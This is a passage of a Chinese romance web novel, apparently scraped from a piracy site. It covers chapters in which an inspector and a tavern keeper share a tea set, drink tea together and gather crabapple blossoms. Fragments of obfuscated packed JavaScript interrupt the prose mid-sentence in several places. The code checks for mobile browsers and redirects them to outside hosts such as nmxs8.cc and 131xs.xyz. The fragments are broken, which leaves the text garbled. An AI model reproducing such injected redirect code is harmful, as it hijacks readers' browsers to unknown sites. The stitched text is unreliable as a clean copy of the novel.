l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229552|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴问他：“大人，您也认识那人？” 孟文芝移目，视线定格在阿兰略红肿的双眼，颇为认真地应道：“认识。” 老儒欣喜，问：“不知大人可愿向我透露一二呀？” 阿兰侧耳在旁，听得真切，心中一悸，眼睛紧紧盯着孟文芝，秀眉半蹙，不着痕迹地轻摇着头，向他暗示。 孟文芝当然会意，朗声越过她，对老儒说：“先生，她连面都不愿露，定也不想被人透出消息，我怎好坏了她的规矩。” “啊呀，甚是可惜！”老儒遗憾拊掌，坐回椅上。 这最后一柄扇子对好，旁边吏员终于可以收工，这会儿抽出空来，对阿兰说：“你瞧那箱子里还剩些什么物件，自己挑去吧。” 阿兰听闻，先抬头对孟文芝说：“待我去看一看。” 这便是把人稳住了，孟文芝也不再有走的意思，站立在那处，回道：“好。” 过多久，阿兰竟抱了个扁木箱子匆匆回来，脚步轻快，看起来还算满意。 孟文芝见状，好奇问道：“这箱子里有什么宝贝？” 阿兰笑笑，开口答：“谈不上宝贝，只是正好缺它。”说着，把箱子先放在桌上，打开与他看。 里头躺着一套白瓷茶具，壶杯色若羊脂，皆是玲珑精巧。 孟文芝不动声色收回目光，余光见旁的人都各自忙碌，无人留意这里，便微微侧身悄声再问：“姑娘的酒铺，可是要改为茶庄？” 阿兰可不遮掩，直道出真话：“三碗酒入腹，不过片刻沉醉，怎比得上伴茶而叙，细水长流。” 听此一句，孟文芝心中既喜又忧，原来还是被人捉住了把柄，只能好好受着她的调笑。 不过，她话里话外又似乎别有含义，这“茶庄”……听起来倒像是为他改的。 有这份情谊在，谁还管得其他。孟文芝把自己哄得欢欣，合上箱子，顺手便提起这一套茶具。 现下身在外面，叫人瞧见多不方便，阿兰实难为情，不等细思，却见他迈起步下了台阶，只好先速速将人撵上，同时伸手去接箱子。 却被孟文芝提前察觉，轻轻推开她的腕：“不沉。” 阿兰这就收回手，不自主地用指节蹭了唇尖，瞥去目光，小声问他：“大人提着它，是要去哪里……” 孟文芝低眸看她，总觉她眉眼中隐隐有几分委屈，体会一番，忽觉得好像是自己抢了她的东西似的。 顿时喉间一哽，有些不自在，便反问：“你去哪里？” “我？”阿兰放下手，轻语道，“我自是往家里去的。” 她此番，说“家”而不说“酒铺”，倒叫人不好接话。 思来想去，也只能说一句：“我送你过去。” 那次阿兰主动相邀，他满心欢畅赴约，最后却醉倒在那处，闹得啼笑皆非。如今再等不到阿兰开口，既想去找她，又不能贸然强去，心中免不得失落，却也忍着情绪，并未表现出来。 这会儿，阿兰佯装做考虑，实则早有打算，故意犹豫道：“那便有劳大人了。” 本想接着抬眸去望他以表赤诚心意，倒是真的有些羞涩，只与他目光交触一瞬，便慌乱地转移到了裙边。 哪知这匆匆一眼，可比春风更要醉人心。孟文芝脚下突然虚软，仿佛直插进了棉花团里。 好在阿兰心思已到了别处，没看出他的异样，一边扭头回望桥上，一边说：“请待我一会儿。” 25. 一起分担 桥上，老儒已经离去，只剩几个吏员手麻脚利地收尾，这处几乎都收拾妥当了。 唯有那条长桌很是笨拙，收不起，也挪不动，只能先摆在那里，等待众人合力搬运。 其中一个吏员干完活儿，拍了拍手上沾的灰，不经意瞄见桌上似乎还遗留着什么长条状的东西，道：“怎么桌上还有东西没收？” 走近一看，是柄叠起来的折扇，扇木与桌面同色，还真不好发现，只好转头呼喊同伴：“是扇子，要装到箱子里去。” “唉，好麻烦！” 另一人刚把箱子锁上，直腰起来，听他言，无奈抱怨一声，又弯身下去，拿钥匙去探锁眼，边说着：“等我再把它给你打开来。” 阿兰瞧望着，急煎煎登梯赶来。刚到，便看见那人要将扇子抛进大敞开的箱子里，忙探手道：“这位哥哥且慢！” 扇子就要脱手而出，却又被顺势捏住尾巴，捞了回来，吏员两手握着扇子，问：“什么事？” 阿兰眼光从他脸上游到他手中，小心开口：“不知这柄扇子能否赠予我？”怕他不愿，便再补充道，“方才我代人对上了这上面的联句。” “哦，我记得你，”吏员打量她一阵，点点头，把折扇打开确认后，交递过去，“恰好是这柄没收，拿去吧。” 旁边人把两眼一挤，看着好不容易塞满的箱子，这下白白打开，扇子散落了满地，苦道：“早知就不开箱了。” “多谢二位哥哥。”阿兰笑盈盈接过扇子，柔声道，连带那人的情绪也照顾了，快步离开。 孟文芝怕再会脚软，先下了石桥阶梯，驻足在平地，翘首等待。见她转身来，眉眼间神采奕奕，原是是讨了一柄折扇回来。 未及到他身边，阿兰先慢下来，要与他保持距离。 许是他的一身官服过于惹目，怕与他并肩而行，受人眼光。 孟文芝倒是早已习惯，并不在意。可只烦恼阿兰跟在他斜后方，自己走两步，她走三步，自己停，她也停，分明是带了个随从，且这随从行事比清岳还要更有分寸感。 如此这般，孟文芝实在无奈，便把箱子提进另一只手，果然，阿兰这才再次靠近，紧跟着他，劝道：“茶具再轻，也是有分量的，还是我来提吧。” “这箱子提手细，坠在手里硌得慌。”孟文芝说着。 阿兰以为他松了口，便伸手拉在提手前端，要将箱子接回，可那处的另一只手却迟迟不放。 孟文芝知道她摸过来，侧头去看她，轻声说：“你这样与我分担，岂不要硌两人的手？” 怀中扇子险些掉在地上。 阿兰蓦地离了箱子，慌忙中脱口而出：“我并非要与你分担。” “嗯？”孟文芝听出她这时是真的情急，话不经思考，便说出来了。 阿兰反应过来，立即找补：“不，我也要分担的。” 孟文芝又将目光移到箱子提手上，前面与刚才一样，还有半只手的空子，这次，他将自己的手往后退了退，让出更多地方，足够她一只纤手全放过来。 若是要分担，便伸手过来吧。 阿兰隐约感知他话中未明说的目的，虽不知他是否有意而为，还是瞬间红了脸。这才后知后觉明白自己的话依旧不合适，又重新道：“我是说，我一个人提就可以。” 孟文芝见她双颊绯红，是他从未见过的模样，心中水声滴滴嗒嗒，涟漪再起。 平日，她只露着清荷一样不能近人的气质，其实层层花片裹护之中的心思，要远比常人敏感许多，她又聪慧不迟钝，不仅受惊容易，害羞更是容易的。 只是她这时不仅两面红，眼上的红也一直未曾消退。 孟文芝不知她究竟是何心情，便重新拾回分寸，独自握全了提手，不再给她留空子。 他恢复了正经神色，假意怨道：“你走得如此慢，岂不要让我忍痛许久？” 阿兰只好说：“我走快些就是。” 孟文芝这才肯迈步继续走，余光中看到阿兰终于与自己并肩而行，心中很是舒畅，又怕她紧跟着会觉勉强，自己悄悄放缓了步子。 好一会儿无人说话，孟文芝见她扇子一直好生握在双手，便开口：“你要那扇子作何。” 阿兰找了理由，道：“天该热了，要扇风。” 孟文芝没料到她想法如此纯粹，又想起许绍元教给他的，主动说：“那扇子白纸做成，美观不足，又有墨水在，扇风会有气味。” “我这里有些看得过去的扇子，上面山水花鸟各样，你若喜欢……” 哗！ 阿兰忽然打开折扇，将扇面对与他。 上面是他二人的字迹。 一行工稳遒健，一行典雅娟秀。一刚一柔，竟意外相称。 “无需图画纹样修饰，也别有美感。”阿兰道。她并未话明其美感从何而来，只让孟文芝自行体会。 后者显然领略了，舒眉而笑：“确是。” 此时若清岳跟着，必定要偷偷念叨这两人言语含蓄，每句话只说一半，叫他听了好不迷茫。 其实是试探逗引都深藏其中，半句过后，另一人自己参透，只相互间能察觉微妙，也不将它表明，各自在暗中羞涩欢喜，这样，余味才能悠长。 两人就这般暖融融地，走到了阿兰的“家”。 她小跑到前将门打开，绑了门帘，惹得铃串阵阵作响。 孟文芝跟身而入，将箱子放在桌上，也找不出要说的话，只表示人要离去。 转身时，阿兰蓦地在他身后细语留道：“大人辛苦一路，不妨坐下歇歇再走？” 脚步随声止住，孟文芝回首，轻答一声：“好！” 阿兰今日在山头上难过许久，约是悲伤洒尽，这会只留下了快乐的情绪，见他答应得利落，心里十分开心。 那茶具既让他辛苦提了一路，自是要为他所用的，这本就是她最初的意思。 那日不小心把孟文芝灌倒在此，她过意不去，备下好茶，到底是她囊中羞涩，还缺一套喝茶的用具，却是差得瞧不上，好得买不起。 幸在今日，只朝扇上写了一句话，就换得这套白瓷茶具。 阿兰先前总惧他怕他，就是因为他为人太过正直，如今，也正是因为他太过正直，倒也少去了许多的警惕。 这次，她将大门严严实实地闭上。 一壶热茶闷好，茶烟袅袅，飘舞飞旋在他二人视线之中。 孟文芝率先提壶，要为她斟茶，壶嘴水未流淌，香气却先从中溢出。 闻起来颇为熟悉。 “此茶甚香。”孟文芝道。 “多谢，”阿兰接过茶，“是蒙顶黄芽。”她不常喝茶，去买时，专门要了店里最好的一种。 孟文芝一听名字，这才想起何时见过，随口说：“蒙顶黄芽，我母亲一直喜欢喝。” “那你呢？” “我也很喜欢。”孟文芝放下茶杯，“洛阳初有此茶时，我年纪还小，就跟着母亲喝，想来，它伴了我许多年。” 阿兰没料想自己竟能歪打正着，有些欣慰。 “你家在洛阳？”她问。 孟文芝点头答：“是。”轮廓在茶烟格挡下变得很柔软。 阿兰三指在外，摩挲着茶杯，仍觉有些烫手：“听闻那里景色很好。” “再过不多时日，牡丹花开，更是美丽。”这么说完，才意识到自己很久没有回家了，他浅饮一口，品味着，又道：“你的家乡就是这里么？” 阿兰眼神一晃，缓缓吐出二字：“正是。” “怎么不曾见过你的亲朋？”孟文芝疑惑。 此话阿兰本可以寻常应对，可今日听着却格外地戳心窝子，眼鼻又酸涩起来，语无伦次：“我没有亲朋……我是一个人，只有我一个人。” 孟文芝见她这样红了双眼，终于知晓为何今日见她，眼皮是那样的肿，像玉兰花瓣似的。 过了好一会儿，阿兰已生生把情绪憋回去，孟文芝对她说：“你不是一个人。” “你说想和我做朋友，”孟文芝认真看着她，“我便已经是你的朋友了。” 趁阿兰惊讶，他又想到了什么，补充：“我不会后悔。” 怎么那日他人醉倒，耳朵却还能将她的胡言乱话听进心里，记到今时！ 不知为何，阿兰觉得胸中有些憋闷，不自觉将手扶在领口，指尖搭在边缘，很想将它扯松一点，却还是忍耐了动作，将手滑在了胸口。 原来，这样憋闷，是因为里头的一颗心跳得太快。 “你那日，都听见了？” 孟文芝目光闪烁，却还是不解地问：“听见什么？” “我对你说的话。”阿兰犹豫道。 “说的什么？”孟文芝又问。 阿兰正想开口，忽止住，终于明白过来，抬眼轻喊他：“你听见了！” 孟文芝一笑，这才坦白，点头：“是。”脸上还正派十分，叫人无从埋怨。 阿兰撇开目光。不知怎的，今日头脑并不清醒。 “茶水凉了。”孟文芝怕她不愿再理自己，主动又为她添了些热茶。 阿兰仍有些不好意思，偏过脸，未做出反应。 “是我想和你做朋友。”孟文芝放低姿态，将她的茶杯端起，递给她。 阿兰这才道了谢，伸两手去接杯。 孟文芝却没有立即松手，他还有话想说，可堵在嘴边，反复尝试，就是说不出来。 “孟大人？”阿兰已察觉异常，试探着问。 他放弃挣扎，悄然叹气，松了手，道：“水满，小心。” 今日与那日不同。 那日是酒，越喝越糊涂，今日是茶，却是越喝越清醒。 这时，他竟希望喝进肚里的，都是酒水。 气氛越发正常，茶壶不再有热气冒出，空气恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15229553|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复晚上的凉。两人相视，每一处都格外清晰。 “大人稍等，我再去热一壶水。”阿兰正要起身。 孟文芝却另有话说：“你不必拘谨，像上次一样，唤我姓名可好？” 阿兰已站起了身，既欲走，又欲留，裙子摇摇晃晃，摆动不止，终是只能开口说出一句：“孟……大人。” 孟文芝颇为后悔，只将身上一袭官服作为埋怨的对象，不再强求她，回了一声：“好。”话语中，带着她察觉不出的低落。 阿兰不再直视他的眼睛，转身去厨房烧水。 说是烧水，倒更像在有意躲人。 该是茶水喝得多了。从心脏开始，发散到全身，各处都在突突地跳，强行提了她的精神，头脑里想得越来越多，越来越细。 就这样，突然就不知要如何再去面对他了，竟想让壶里的水烧得慢一些。 不过多时，壶里中响起咕嘟嘟的水声。 阿兰提住手柄，却没把它拎起，而是又轻轻地放下，转身去水缸里舀了一瓢冷水，打开壶盖，“哗”地浇了进去。 沸水挣扎着熄灭。 但很快，又蹿起更为猛烈的气泡。 又是一瓢冷水。 茶壶里的水，几乎要漫出来了。 孟文芝在外面独自坐着，听着里面传来断断续续的水沸之声，一杯一杯地将冷茶饮尽。 心中万千思绪滋生，如蚕丝一样细，吐得愈发长，把他整颗心都裹缠起来，明明理智，却怎么也想不明白待她回来时，要说些什么，做些什么。 甚至开始怀疑，她今晚，还会不会从门后掀帘而出…… 最后，他轻轻地站起身，缓慢推开大门，回首浅望一眼，还是转头离开了。 过了很久，阿兰费劲地将水壶从锅台上拎了下来，她歪着身子，艰难走出厨房，又走过院子，水几次从盖子边缘溅出，险些烫到她。 可待她终于走到终点，单手撩开门帘时，却不见那人踪迹。 桌上只有一盏剩了些茶碎的白瓷杯。 那是整个屋子里，他来过的唯一痕迹。 ………… 是夜，孟文芝辗转难眠，几次去许绍元房中，将他从梦中叫醒，却说些无关紧要的话，惹得他无法安睡。 第二日，许绍元趁他不在，打着哈欠在庭院里转悠，发现最北边的院墙一角，从外探出繁密的海棠花枝，美丽十分。 心中主意升起，费劲搬来一条长椅在墙下，整个人斜斜躺去，睁眼望天欣赏。 上头是粉白的花，浓绿的叶，缝隙之中阳光泄露，尤为宜人。 可惜，无人说话提他精神，他只看了不多时，便困意袭来，昏昏睡去。 又是梦得正香甜，脸上忽地一阵疼一阵痒，许绍元几次摆手遮面，还是不堪扰动，乍然睁开双眼。 空中那半棵海棠晃动得厉害，花呀枝呀纷纷落下，打在他身上。 许绍元瞬间清醒，转头看了周身一圈，发现只有他这处在摇动，暗自侥幸呼气。 原来不是地震。 正欲再躺下睡去，不经意仰面一看，墙头竟趴着一孩童，直把他吓得从长椅上跳了起来。 “你，你是何人！”许绍元吓懵了头，结结巴巴问道。 那孩子却不说话，冲他漏牙笑得合不拢嘴。 许绍元见他是攀着墙外那棵海棠树，爬到院墙上来的，再细瞧瞧，怀里还抱着一大把的花枝。 “好么！偷花的小贼！”许绍元早没了惧意，正想踩上椅子去教训他，那小孩身手灵活，翻了个身，便跳出了墙外，只留下一串笑声，扰他的耳朵。 许绍元掐腰朝院墙外喊：“你若再来，可没好果子吃！” 看着散落一地的海棠残骸，许绍元满眼可惜，暗暗把那孩子面容记下，等哪日遇到了，定要好好说道他一番。 墙后头，那小孩双手各拿着一把花枝，太臂夹住耳朵，不要听他在里面大喊，就这样跑走了。 跑得累了，大喘着停下脚步，嗓子眼里又干又痒，一下子把腰都咳弯了，在大路上原地坐下，平复良久，才又起身，小脸左右张望着，慢步继续行走。 眼里突然捉到一个熟悉的身影，他放声大喊：“阿兰姐姐！”随后跌跌撞撞地到她跟前。 “衡儿！”阿兰也看到他，笑着上前迎了几步，蹲下身把他揽在怀里，摸着他的脑袋，问道：“你怎么跑到这儿来了？今日不去上学吗？” 衡儿摇摇头：“不上，今天不上学。” 阿兰把手放在他小小的双肩上，按捺住人，细细打量他的脸。 见他面上两边潮红，嘴唇也是湿润的，便收敛神色，盯着他的眼睛，认真问：“方才是不是又跑跳了？” 衡儿小脑瓜思考一阵，老实地点了点头。 阿兰并不是要怪他，孩子们天性爱动，只是心疼他小小年纪患有肺病，不能像别人一样尽兴地玩。 26. 怦然作响 她取出自己的帕子，塞在他手里，叮嘱道：“现在天上都是柳絮，在外一定要捂好口鼻。” 说罢，在他鼻子上轻轻一点，帮他拿起夹在胳膊里的海棠花枝，将它们汇聚成束，握在手里。 “你要到哪里去？”阿兰站起身，好声问。 衡儿没说话，眨巴着眼睛仰头看她，很自觉地把帕子按在脸上，另一只手却偷偷摸到阿兰的指尖。 阿兰腕子一绕，把他的小手轻轻握住，笑着对他说：“怎么不回答？” 他想了想，这才道：“我也不知道去哪儿。” “那就回家吧？”阿兰见他迷茫，便提议，“你娘亲也该回来了，找不到你要着急呢。” 衡儿拉着阿兰的手，刚与她齐行几步路，忽而眉头一皱，脸色低落，撅嘴喃喃道：“衡儿不是偷偷出来玩，娘亲在家，她知道的。” 阿兰哪里有要怪他的意思，低头看他，才发现他个子蹿长许多，想来这小人儿长大不少，想的也多了，以为受了冤枉，急急要为自己辩解。 “她知道就好。”阿兰更缓和了语气，正对他说着，转念却发觉事情不对，不禁敛去笑容，“你娘亲怎么在家，此时不该在别人府上做工么？” “她每天都在家，一直都是呀。”衡儿对她突如其来的问题感到不解，只实话实话道。 听他说完这些，阿兰止住了脚步，俯下身子，蹙额再问：“衡儿，你昨日去上学了么？” 果然，衡儿摇摇头：“没有。我很久没去过学堂了，只能自己一个人玩。”他扯起两边唇角，像在安慰自己似的。 阿兰心中这才明了，想来他母子二人生活上有了困难。 衡儿的母亲，也是个单纯善良的女子，可惜先天伴有眼疾，不能视物，丈夫又多年前在外遇险，如今，她只靠四面求人，各处做工，勉强带着孩子维生。 那会儿阿兰来到永临不久，偶然与她结识，顾不上自己流过多少心酸眼泪，只不可控制地与她共情，每每手头宽裕，能帮一点，便帮一点。 她松开拉着衡儿的手，从怀中掏出荷包，掂量掂量，里面还剩些碎银子：“你先拿着，回去交给娘亲。” 衡儿点头接过，两手把荷包攥得皱巴。 “我便先不陪你多走了，改日再去找你玩。”话落，阿兰朝他一笑，把帮他拿了半路的花枝也递去。 衡儿抬起黑亮的眼睛，看看她，又看看花，挤出一句：“姐姐留着。” “这个花没有味道，娘亲闻不见香气，就不知道它们好看，”他方才兴起折了大把，这会又突然嫌弃起来，把荷包塞进衣兜，空出两手使劲摇摆，“我也不要了。” 这海棠粉白交织着实美丽，花花草草也正是她所喜爱的，便不再与孩子多推让，真的留下了。 简单和衡儿告别后，阿兰回到酒铺，捡出之前收集的胆瓶，用水冲了灰尘，摆在柜台边上。 奈何瓶口不大，反复插了几次，依然多出一枝在外，强塞不进。 她看着手里剩下的那枝，纵是比瓶里的那些枝条瘦小一些，也灿烂地绽着花瓣，让人怎舍得丢弃？霎时有些苦恼。 于是又去翻箱倒柜地找，竟意外在角落里发现一支青瓷细瓶，柳叶一般的细，放它这枝，再合适不过。 可这瓶子，又该放到哪里去呢？ 四处寻望一番，都是些黯淡的空桌，与它不配。再转眼，昨日那套壶杯正在原处等着她，白皑皑地亮着光。 阿兰低头比对，心中思量。 看来只有放在这里，才能相配了。 ………… 孟文芝在永临待这么一段时日，该巡的已巡遍，该查的也已查完，难得可以松懈一阵。 终于提早回到寓所，却不见许绍元踪迹，以为是他终于待到那表甥女离开，自己回家了。 便打发了清岳，独自踏进卧房，脱下日日缠他误他的官袍，又换了身浅松绿的常服来，气质也跟着变得轻盈。 再走出房门，不过两步，便听一道熟悉的声音：“何人擅闯！”听语气颇为惊讶。 孟文芝寻声望去，见那人倒捡了扫帚，挥着棍子，气势磅礴地朝他走来，一边高喊：“还不快跑？” 他定睛细看一番，才清楚了那人的面容，瞬间用力闭上双目，沉声对他开口：“你让我跑到哪里去？” 许绍元步子突然顿住，气势随之消去，半张着两臂举目望来，摇摇晃晃看个明白，这才手一松扔了扫帚，欣喜叫道：“文芝，是你！” 他急忙跑来到他跟前，又说：“还真是你。” “你倒是个护家的好手。”孟文芝无奈道。 许绍元不好意思地笑笑，努力解释：“你今日回来如此之早，还换了衣服，任谁能识得？” 孟文芝面上不多有情绪，只见对方头上身上都是些碎叶残花，单边的脸颊满是印痕，便问道：“从哪里睡醒了钻出来的？” “那边。”许绍元回身指指自己来的方向，“我发现了一块宝地，走，带你去瞧瞧。” 还未及他拒绝，便强拉着人走了过去。反应过来时，孟文芝已站在了一片海棠之下。 他倒真没曾注意过这处角落，眼前突然这般繁盛，免不得晃了神思。 “你可不知道，我上午在这处好端端躺着，有个偷花的小毛贼，把树摇得跟刮了大风似的，淋了我满身渣子。”一到这儿，许绍元就想起上午发生的事，撇嘴愤愤道。 “哦？”毕竟事不关己，孟文芝只看着他身上各处沾的东西，浅笑一阵，调侃着，“那下次你可要把人捉到，好好教导一番才是。” 听者并不当这是玩笑，认真地说：“是啊，下次看我不收拾他。” 再抬头日已偏西，孟文芝不打算在他这儿多耽误功夫，正要走时，却又被叫住。 许绍元问：“你去哪？” 孟文芝犹豫一阵，还是从实交代：“忙了半天口干舌燥，去喝点茶。” “好吧，”许绍元听出来他话里意思，识趣地没缠他，挥挥手，“早去晚回。” ………… 阿兰刚转身，冷不丁见一淡青色的陌生身影，抬眼去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么何事，你都知道的。”男人不解她的反常，倒也跟着压低嗓音对话，殊不知字字句句仍然都清楚地听进了孟文芝的耳朵。 趁阿兰背对着自己，他无声斜目看去，暗中打量，那个男人年龄似与她相仿，容貌……倒也看得过去。 “为何还不领我进去？”男人并未发觉自己身上多出来一道视线，还在催促阿兰，“在这不方便，有别人在呢……” 听这人说话云里雾里，竟还把自己归位“别人”，孟文芝忽然想起许绍元告诉他的，那个与阿兰关系匪浅的男人。 虽然不确定眼前这位的真实身份，还是忍不住猛地站起了身，腿边椅子跟着“哐啷”一声响，往后跳了几寸。 阿兰转头，和那男人目光一齐投来。 “不好意思，”孟文芝笑了笑，眼中却并无悦色，“壶中茶尽了。” “我这就来添。”阿兰远远对他道。 言罢，又接着对男人说：“你改日再来吧，今日我实在无空。” “诶，姑娘都与我约好了，怎么这会儿还变卦？” 孟文芝轻咳，松手把空杯子一撂，“嗒”地一声，再次打断他二人。 27. 玲珑算盘 这一回，那个男人终于将注意放在了他的脸上。 如此眼熟，好似哪里见过……凝神注视刹那，嘴角骤然抽动起来。 哎呀，巡按大人怎会在这里！ 男人心道不好，暗想自己花钱来做文章交易，这事若被他们这些做官的捉住马脚，没有意外便罢，可一旦出什么差池，岂不要耽误自己日后仕途？ 他立即笑了起来，面色僵硬，十分刻意：“才想起我也有别的事要忙，我们下次再约，下次再约哈哈……”话是对阿兰说的，眼睛里看着的人，却一直是孟文芝。 阿兰闻言，亲眼见证他如遇毒蛇猛兽般，一步一步小心退出门外，那模样，比她刚才还要忐忑。 这不上台面的事已然被他暴露无遗，还有什么好再遮掩的。阿兰气馁，脸上并不光彩，自知腹中不过几滴墨水，还要为生计时时卖弄，当真对不起她识过的那些字，读过的那些书。 原本，她只求客人速速离去，给自己留些容光在，这会儿一想，实在是汗颜无地，不能抬头，哪还有什么心思再与人闲话家常。 这便折了身，背影对孟文芝说道：“我去送送。”也好能逃离一阵，重新收拾心情再回来。 “要撂下我来看店吗？” 身后人转过头，倏然一句问话。 阿兰顿住了动作，只听声音伴着脚步越来越近：“他已出了门，还要把人送到哪儿去？” 回身后，毫无意外见孟文芝就站在她正前，裙摆轻旋，从他腿前拂过。 那是不过咫尺的距离，两人面面相觑，呼吸相扑。 阿兰稳立原地，不闪躲，也不前进。 僵持，是两个人一起做出的奇怪的选择。 孟文芝敛首，眸光熠熠。 从她额际的茸丝开始，寸寸往下游走，看她略低垂的眉眼，眼下的疤，看她微微翕动的鼻翼，紧抿着的双唇。 视线每走过一处，心口都有洪钟撞响一次，一声，又一声，钝拙地穿透胸腔，震得他前胸后背都酥麻难忍。 可也无从知晓，她能否听到这些呼唤她的声音。 “抱歉，扰了你的生意。”孟文芝浅浅叹息，对她道。 阿兰摇头回应：“没有。” “我也希望没有。”孟文芝牵强一笑。 她身旁就是柜台，海棠花瓶在她斜后方放着光彩，孟文芝视线微移过去，却稍稍凝住了眉眼。 那里有许多花受困于狭窄的瓶口，不能伸展。 孟文芝下意识抬手，一一将它们解放出来，撤手时，经过阿兰耳畔，这才发现她的耳朵，比海棠还要红。 阿兰没有注意他此番动作的意图，不知他为何要伸出手，又停滞在她脸庞。 弯翘的双睫轻轻颤动，像蝴蝶扑闪翅膀一样，越飞越高。 映在她眼中的孟文芝笑了笑：“这一瓶，有些拥挤。” 阿兰闻言转头，看到花枝插放得略有变样，才明白他方才做了什么，小声说道：“几枝聚在一起，才更显得有生机。” “那边为何独放一枝？”孟文芝侧过身子，枝向茶壶旁的柳瓶。 阿兰不骗他，回答：“它是多出来的。” “竟如此可怜，”孟文芝扬眉轻叹一声，目光流转，又看回阿兰，才发现谈话间，她的耳朵已从尖红到了尾，便道，“我看今日店家似乎无心经营了，不妨与我出去走走，再捡一枝与它做个伴。” 阿兰下意识想要推脱：“一枝便罢，两枝长须似的，好不张扬。” 话落，又觉自己像是故意作对，有些可笑，急忙找补：“是我雅趣未通，”接着挪动了柜台上的这瓶，向他滑过去，“你若喜欢，抽这里的过去吧。” 孟文芝恼她一向灵光，这时怎成了木头，看都不看那瓶，对她说：“这里三枝，已做了一家子，你也忍心拆散。” 这句说罢，抬手去寻她抚在瓶子上的手，一把牵住了她的腕子，不再有分毫犹豫，边迈步前行，边道： “走。” 至于他为何如此固执，原因除了刚知晓自己住处的院墙外有棵极美海棠，想与她共赏一番，更有他们两家距离甚远，这么同行走上一遭，能相伴不短时间。 他心中玲珑算盘打得响，阿兰听得出，也是甘愿配合的。 两人一路互相协调，渐渐地有说有笑，心情越发明媚欢畅。 孟文芝专找些旁蹊曲径，人既少，路又长，有些地方自己都不甚熟悉，却硬是绕了出来，回 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直到那枝弹回繁茂树中，阿兰才再次莞尔。 孟文芝从树下撤出，远观它完整的形貌，阿兰也跟着退了几步，站在他斜前方仰起了头。 头上竟落了一簇海棠花，一朵绽放着，旁边带着两个花苞，在她乌发上摇摇欲落。 孟文芝上前，正欲伸手为她摘去，阿兰察觉到头顶有东西触碰，仰头朝天看去，那簇海棠蓦地顺她后脑滑落，他摘了个空，却用另一只手接住了花。 一番动作下来，两袖掀出了薄风，阿兰这才转身，乍见他掌心上托着一小簇花，变戏法似的，面上多少有些惊奇。 孟文芝耸肩，含愧而笑：“许是刚才被我无意蹭掉的。” 既然已经落了，就为它再找一处好地方呆着。孟文芝把花捏起，往她额角的头发上插去。 这会儿仅仅是比对着，就分不清是人衬花，还是花衬人了。 刚安置好它，两人相视一笑，正各自欢喜着，却忽然听远处传来一声： “偷花的小贼，你还敢来——！”